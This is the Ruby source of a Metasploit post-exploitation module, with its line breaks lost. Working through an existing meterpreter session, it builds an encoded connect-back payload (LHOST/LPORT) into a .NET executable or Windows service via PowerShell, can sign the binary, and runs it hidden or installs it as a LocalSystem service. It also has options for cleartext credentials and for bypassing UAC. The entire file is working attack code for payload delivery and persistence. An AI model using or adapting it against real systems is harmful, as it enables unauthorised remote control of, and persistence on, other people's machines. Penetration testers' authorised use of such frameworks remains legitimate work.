## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/services' require 'msf/core/post/windows/powershell' require 'msf/core/exploit/powershell/dot_net' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Services include Msf::Post::Windows::Powershell include Msf::Post::Windows::Powershell::DotNet include Msf::Post::File def initialize(info={}) super(update_info(info, 'Name' => "Powershell Payload Execution", 'Description' => %q{ This module generates a dynamic executable on the session host using .NET templates. Code is pulled from C# templates and impregnated with a payload before being sent to a modified PowerShell session with .NET 4 loaded. The compiler builds the executable (standard or Windows service) in memory and produces a binary which can be started/installed and downloaded for later use. After compilation the PoweShell session can also sign the executable if provided a path the a .pfx formatted certificate. }, 'License' => MSF_LICENSE, 'Author' => [ 'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu 'Matt "hostess" Andreko' # .NET harness, and requested modifications ], 'Payload' => { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EAX', }, }, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 14 2012' )) register_options( [ OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]), OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']), OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']), OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]), OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]), ], self.class) register_advanced_options( [ OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]), OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']), OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]), OptString.new('USERNAME', [false, 'Windows username']), OptString.new('PASSWORD', [false, 'Windows user password - cleartext']), OptString.new('DOMAIN', [false, 'Windows domain or workstation name']), ], self.class) end def exploit # Make sure we meet the requirements before running the script if !(session.type == "meterpreter" || have_powershell?) print_error("Incompatible Environment") return end # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM' print_error("Cannot run as system") return end # End of file marker eof = Rex::Text.rand_text_alpha(8) env_suffix = Rex::Text.rand_text_alpha(8) com_opts = {} com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe" com_opts[:payload] = payload_script #payload.encoded vprint_good com_opts[:payload].length.to_s if datastore['SVC_GEN'] com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs') com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll'] else com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs') end com_opts[:cert] = datastore['CERT_PATH'] if datastore['SVC_REMOVE'] remove_dyn_service(com_opts[:target]) return end vprint_good("Writing to #{com_opts[:target]}") com_script = dot_net_compiler(com_opts) ps_out = psh_exec(com_script) if datastore['Powershell::Post::dry_run'] print_good com_script print_error ps_out return end # Check for result begin size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb") rescue print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found") return end # Run the harness if datastore['START_APP'] if datastore['SVC_GEN'] service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil) if service_start(datastore['SVC_NAME']).to_i == 0 vprint_good("Service Started") end else session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true}) end end print_good('Finished!') end # This should be handled by the exploit mixin, right? def payload_script pay_mod = framework.payloads.create(datastore['PAYLOAD']) payload = pay_mod.generate_simple( "BadChars" => '', "Format" => 'raw', "Encoder" => 'x86/alpha_mixed', "ForceEncode" => true, "Options" => { 'LHOST' => datastore['LHOST'], 'LPORT' => datastore['LPORT'], 'EXITFUNC' => 'thread', 'BufferRegister' => 'EAX' }, ) # To ensure compatibility out payload should be US-ASCII return payload.encode('ASCII') end # Local service functionality should probably be replaced with upstream Post def remove_dyn_service(file_path) service_stop(datastore['SVC_NAME']) if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0 vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}") session.fs.file.rm(file_path.gsub('\\','\\\\')) else print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}") end return end def install_dyn_service(file_path) service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil) if service_start(datastore['SVC_NAME']).to_i == 0 vprint_good("Service Binary #{file_path} Started") end end end